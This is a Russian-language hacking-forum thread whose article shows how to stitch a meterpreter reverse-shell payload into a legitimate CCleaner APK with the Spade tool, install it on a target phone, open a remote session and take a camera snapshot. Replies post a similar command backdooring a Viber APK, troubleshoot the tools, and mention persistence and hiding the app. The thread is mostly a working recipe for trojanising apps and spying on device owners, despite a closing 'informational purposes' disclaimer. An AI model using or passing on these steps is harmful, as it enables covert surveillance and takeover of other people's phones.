• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Взлом Android-устройства

Привет! В этой публикации, я опишу действенный способ взлома телефона под управлением ОС Android. Он основывается на сшивании полезной нагрузки с APK файлом.

Для начала скачаем любую программу под Android ( я выбрал, для примера CCleaner) с сайта , попробуем, для начала, на ней.

Затем скачиваем для нашей Kali Linux софт под названием Spade. Для этого пишем в терминале следующее:
Код:
git clone https://github.com/suraj-root/spade.git
upload_2016-10-17_20-20-41.png


После успешного выполнения команды, вводим следующее:

> ./spade.py /root/Desktop/ccleaner.apk (тут мы указываем программе, с каким файлом она должна работать)

После запуска указанной команды вас встретит меню, в котором необходимо будет выбрать тип пайлоада (я выбирал 3), затем она попросит вас указать адрес хоста, на который полезная нагрузка будет «стучаться» в попытке установить соединение. Так же необходимо будет ввести порт.

> lhost > 192.168.0.103

> lport > 4444

upload_2016-10-17_20-21-32.png


upload_2016-10-17_20-21-40.png


Запускаем процесс, который внедрит нашу полезную нагрузку в файл APK.

upload_2016-10-17_20-22-6.png


Видим привилегии, которые нам доступны:

upload_2016-10-17_20-22-32.png


Готовый файл сохраняется в директории /root/spade

upload_2016-10-17_20-22-51.png


На запрос этой настройки отвечаем утвердительно:

upload_2016-10-17_20-23-18.png


Теперь необходимо передать созданный файл нашему целевому устройству. Копируем его на телефон, устанавливая его по стандартной схеме. После запуска приложения, если все сделано, верно, то видим открывшуюся сессию meterpreter:

upload_2016-10-17_20-23-36.png


Попробуем осмотреться в системе:

upload_2016-10-17_20-23-55.png


Все работает, теперь можно испытать работу, к примеру, камеры:
Код:
webcam_snap
upload_2016-10-17_20-24-23.png


И эта команда срабатывает успешно:

upload_2016-10-17_20-24-45.png


На этом все, спасибо за внимание.

Данная статья опубликована исключительно в ознакомительных целях и не является руководством к действиям.
Ссылка на оригинал -
 
Последнее редактирование:
A

areez

ВОт полная версия моих бед
яву только поставил вот.. Не изменилось ничего.
I: Using Apktool 2.2.0
I: Smaling smali folder into classes.dex...
I: Building resources...
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:473)
at brut.androlib.Androlib.buildResources(Androlib.java:407)
at brut.androlib.Androlib.build(Androlib.java:306)
at brut.androlib.Androlib.build(Androlib.java:263)
at brut.apktool.Main.cmdBuild(Main.java:224)
at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:439)
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:459)
... 5 more
Caused by: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.util.OS.exec(OS.java:97)
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:433)
... 6 more
Caused by: java.io.IOException: Cannot run program "/tmp/brut_util_Jar_8800473881750166502.tmp": error=2, Нет такого файла или каталога
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1047)
at brut.util.OS.exec(OS.java:90)
... 7 more
Caused by: java.io.IOException: error=2, Нет такого файла или каталога
at java.lang.UNIXProcess.forkAndExec(Native Method)
at java.lang.UNIXProcess.<init>(UNIXProcess.java:186)
at java.lang.ProcessImpl.start(ProcessImpl.java:130)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1028)
... 8 more
[*] Signing apk...
java.io.FileNotFoundException: ccleaner/dist/ccleaner.apk (Нет такого файла или каталога)
at java.util.zip.ZipFile.open(Native Method)
at java.util.zip.ZipFile.<init>(ZipFile.java:215)
at java.util.zip.ZipFile.<init>(ZipFile.java:145)
at java.util.jar.JarFile.<init>(JarFile.java:154)
at java.util.jar.JarFile.<init>(JarFile.java:133)
at orig.SignApk.main(SignApk.java:488)
[+] Successfully backdoored and saved as ccleaner-final.apk
 
M

MAdDog719

На GitHub нашел еще один скрип для взлома Ве(а)дроид устройств, https://github.com/dana-at-cp/backdoor-apk работает как же как Spade. Только ошибка у меня на этот раз другая :D. При генерации плейлоада не может создать или записать RCA(RSA) ключ.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Ну тема поста немного спорная...Я не уверен что любое устройство можно взломать...Статья хорошая,автору спасибо.
От себя хочу заметить что из недостатков готовых тулз для инжекта в приложения на андроид можно выделить один большой недостаток - это отсудствия закрепления в системе(persistence) и держания доступа.На сегодняшний день существует методы сделать закрепления в системе и скрытое приложения которое не отображается в списке приложений.
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 351
BIT
0
Ну тема поста немного спорная...Я не уверен что любое устройство можно взломать...Статья хорошая,автору спасибо.
От себя хочу заметить что из недостатков готовых тулз для инжекта в приложения на андроид можно выделить один большой недостаток - это отсудствия закрепления в системе(persistence) и держания доступа.На сегодняшний день существует методы сделать закрепления в системе и скрытое приложения которое не отображается в списке приложений.
Да, немного громко сказано, поправлюсь)))
 
A

aircrack

root@kali:~/Рабочий стол# ruby apk-embed-payload.rb viber.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
[*] Generating msfvenom payload..
[*] Signing payload..
[*] Decompiling orignal APK..
Input file (стол/original) was not found or was not readable.
[*] Decompiling payload APK..
Input file (стол/payload) was not found or was not readable.
apk-embed-payload.rb:190:in `initialize': No such file or directory @ rb_sysopen - original/AndroidManifest.xml (Errno::ENOENT)
from apk-embed-payload.rb:190:in `open'
from apk-embed-payload.rb:190:in `<main>'
Оба файла на рабочем столе. Может кто подскажет в чём проблэм.
Заранее спасибо.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
root@kali:~/Рабочий стол# ruby apk-embed-payload.rb viber.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
[*] Generating msfvenom payload..
[*] Signing payload..
[*] Decompiling orignal APK..
Input file (стол/original) was not found or was not readable.
[*] Decompiling payload APK..
Input file (стол/payload) was not found or was not readable.
apk-embed-payload.rb:190:in `initialize': No such file or directory @ rb_sysopen - original/AndroidManifest.xml (Errno::ENOENT)
from apk-embed-payload.rb:190:in `open'
from apk-embed-payload.rb:190:in `<main>'
Оба файла на рабочем столе. Может кто подскажет в чём проблэм.
Заранее спасибо.
Видимо скрипт как то кривовато пути прочитал... Попробуй создать папку без пробелов ( к примеру Android_Hack)
Помести туда нужные файлы ( apk-embed-payload.rb и viber.apk)
И попробуй повторить команду в терминале.
Если не исправить проблему ,отпиши,если исправит - тож отпиши)))
 
  • Нравится
Реакции: Сергей Попов
A

aircrack

<<-D4rkN0d3_Falc0m->> Спасибо. Наверное в этом и была проблема. Перенёс файлы в домашнюю директорию и всё заработало. Оригинальный файл viber весит 31.6 мб а с бекдором у меня получился 31.8мб. Точто такой же размер файла (31.8мб) скачивается с сайта , прикольно, то есть у них уже апэкашки идут с приколами разными? )))
 
  • Нравится
Реакции: VladOk и <~DarkNode~>

useralexrc

Green Team
12.11.2016
30
7
BIT
0
mkdir: невозможно создать каталог бла бла бла, что то не дает доступ к apk?
Может ли испортить пути русская версия Kali? Грешу на это!
 

useralexrc

Green Team
12.11.2016
30
7
BIT
0
[*] Started spade at 17:10:39
[*] Check file /home/Android_Hack/ifont.apk
[+] File /home/Android_Hack/ifont.apk OK
PAYLOADS
[1] android/meterpreter/reverse_http
[2] android/meterpreter/reverse_https
[3] android/meterpreter/reverse_tcp
[4] android/shell/reverse_http
[5] android/shell/reverse_https
[6] android/shell/reverse_tcp
Payload> 3
LHOST> 192.168.0.100
LPORT> 4444
[*] Generating payload...
No platform was selected, choosing Msf::Module::platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8323 bytes
Saved as: temp.apk
[+] Payload created as temp.apk
[*] Decompiling apks...
sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found
[*] Injecting payload...
mkdir: невозможно создать каталог «ifont/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «ifont/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: не удалось выполнить stat для 'temp/smali/com/metasploit/stage/Payload*': Нет такого файла или каталога
[-] [Errno 2] No such file or directory: 'ifont/AndroidManifest.xml'

Как то так((
 
Последнее редактирование модератором:

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
[*] Decompiling apks...
sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found
[*] Injecting payload...
mkdir: невозможно создать каталог «ifont/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «ifont/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: не удалось выполнить stat для 'temp/smali/com/metasploit/stage/Payload*': Нет такого файла или каталога
[-] [Errno 2] No such file or directory: 'ifont/AndroidManifest.xml'

Как то так((
Вот твоя проблема...

sh: 1: ./apktool.sh: not found

sh: 1: ./apktool.sh: not found

Нужно тебе или скрипт править или поискать по папкам apktool.sh и кинуть в одну директорию со скриптом.
 

useralexrc

Green Team
12.11.2016
30
7
BIT
0
Вот твоя проблема...

sh: 1: ./apktool.sh: not found

sh: 1: ./apktool.sh: not found

Нужно тебе или скрипт править или поискать по папкам apktool.sh и кинуть в одну директорию со скриптом.
Это странно потому что в папке скрипт присутствует, значит надо править?
 

useralexrc

Green Team
12.11.2016
30
7
BIT
0
drwxrwxrwx 2 root root 4,0K ноя 14 16:51 .
drwxrwxrwx 4 root root 4,0K ноя 14 17:15 ..
-rwxrwxrwx 1 root root 7,8M ноя 14 15:39 ifont.apk
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
drwxrwxrwx 2 root root 4,0K ноя 14 16:51 .
drwxrwxrwx 4 root root 4,0K ноя 14 17:15 ..
-rwxrwxrwx 1 root root 7,8M ноя 14 15:39 ifont.apk
Эмм...
А полностью команда которою запускаешь как выглядить?
И содержания папки где лежит сам скрипт?
 
  • Нравится
Реакции: useralexrc
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!